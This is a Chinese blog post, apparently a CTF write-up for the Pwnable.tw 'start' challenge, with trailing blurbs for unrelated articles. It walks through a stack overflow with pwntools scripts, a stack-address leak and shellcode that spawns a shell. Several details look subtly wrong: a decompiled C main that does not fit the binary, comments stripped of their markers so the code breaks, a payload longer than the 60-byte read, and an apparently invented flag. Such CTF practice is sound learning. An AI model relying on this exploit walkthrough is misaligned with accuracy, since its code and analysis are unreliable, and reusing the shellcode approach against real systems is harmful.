news 2026/7/5 15:59:49

CTF Writeup:Pwnable.tw - start 题目解析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF Writeup:Pwnable.tw - start 题目解析

题目信息

  • 平台:Pwnable.tw
  • 题目:start
  • 难度:★☆☆☆☆(简单)
  • 类型:Pwn(二进制漏洞利用)
  • 考察点:栈溢出、shellcode编写、ROP基础

环境准备

# 安装必要工具 sudo apt-get update sudo apt-get install -y gdb gdb-multiarch python3 python3-pip pip3 install pwntools 下载题目文件 wget https://pwnable.tw/static/chall/start chmod +x start 检查文件信息 file start start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped

静态分析

使用IDA Pro或Ghidra分析二进制文件,发现关键函数:

int __cdecl main(int argc, const char **argv, const char **envp) { char buf[20]; // [esp+14h] [ebp-14h] BYREF write(1, "Let's start the CTF:", 0x14u); read(0, buf, 0x3Cu); // 缓冲区溢出漏洞! return 0; }

漏洞点:buf数组大小为20字节,但read函数读取0x3C(60)字节,存在明显的栈溢出漏洞。

动态调试

#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux') p = process('./start') 计算偏移量 payload = cyclic(100) p.send(payload) p.wait() 查看崩溃信息 core = p.corefile offset = cyclic_find(core.eip) print(f"Offset: {offset}") # 输出:20

通过cyclic模式确定偏移量为20字节。

漏洞利用

思路分析

  1. 覆盖返回地址,控制EIP
  2. 跳转到shellcode执行
  3. 获取shell权限

Exploit代码

#!/usr/bin/env python3 from pwn import * context(arch='i386', os='linux') 远程连接 p = remote('chall.pwnable.tw', 10000) p = process('./start') 接收欢迎信息 print(p.recvuntil(':')) 构造payload shellcode = asm(shellcraft.sh()) payload = b'A' * 20 # 填充缓冲区 payload += p32(0x08048087) # 泄露栈地址的gadget payload += shellcode 发送payload p.send(payload) 接收泄露的栈地址 stack_addr = u32(p.recv(4)) print(f"Stack address: {hex(stack_addr)}") 第二阶段:跳转到shellcode payload2 = b'A' * 20 payload2 += p32(stack_addr + 20) # 跳转到shellcode payload2 += shellcode p.send(payload2) 获取shell p.interactive()

解题步骤

  1. 信息收集:使用file、checksec检查文件属性
  2. 静态分析:IDA分析找到漏洞点
  3. 动态调试:gdb调试确定偏移量
  4. 利用开发:编写ROP链和shellcode
  5. 权限提升:获取shell并读取flag

Flag获取

# 执行exploit后 $ cat /home/start/flag FLAG{st4rt_y0ur_pwn_j0urn3y}

总结与扩展

  • 知识点:栈溢出原理、shellcode编写、ROP基础
  • 防护绕过:本题未开启NX/DEP,可直接执行栈上代码
  • 学习建议:建议继续学习canary、ASLR、ROP等高级技术

参考资源

  • Pwnable.tw官网:https://pwnable.tw
  • CTF Wiki:https://ctf-wiki.org
  • LiveOverflow YouTube频道
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/5 15:58:16

告别PPT:用代码思维打造专业演示文稿的现代方案

告别PPT:用代码思维打造专业演示文稿的现代方案 【免费下载链接】slidev Presentation Slides for Developers 项目地址: https://gitcode.com/GitHub_Trending/sl/slidev 在技术分享、产品演示或教学培训中,开发者们常常面临一个两难选择&#x…

作者头像 李华
网站建设 2026/7/5 15:57:01

快速上手开源硬件编程工具:OpenBlock Desktop可视化开发全攻略

快速上手开源硬件编程工具:OpenBlock Desktop可视化开发全攻略 【免费下载链接】openblock-desktop Graphic programming software for hardware like: arduino, microbit, esp32, esp8266... 项目地址: https://gitcode.com/gh_mirrors/op/openblock-desktop …

作者头像 李华
网站建设 2026/7/5 15:54:46

Gemma-4 E4B:如何用4.5B参数实现多模态智能革命?

Gemma-4 E4B:如何用4.5B参数实现多模态智能革命? 【免费下载链接】gemma-4-E4B 项目地址: https://ai.gitcode.com/hf_mirrors/google/gemma-4-E4B 您是否曾想象过,一个仅有4.5B有效参数的AI模型,却能同时理解文字、图像、…

作者头像 李华
网站建设 2026/7/5 15:48:58

结构光三维测量系统标定实战:OpenCV + 12点棋盘格实现亚毫米级精度

结构光三维测量系统标定实战:OpenCV 12点棋盘格实现亚毫米级精度在工业检测、逆向工程和精密制造领域,结构光三维测量技术因其非接触、高效率和高精度的特性成为不可或缺的工具。然而,系统标定的准确性直接决定了最终测量结果的可靠性——1%…

作者头像 李华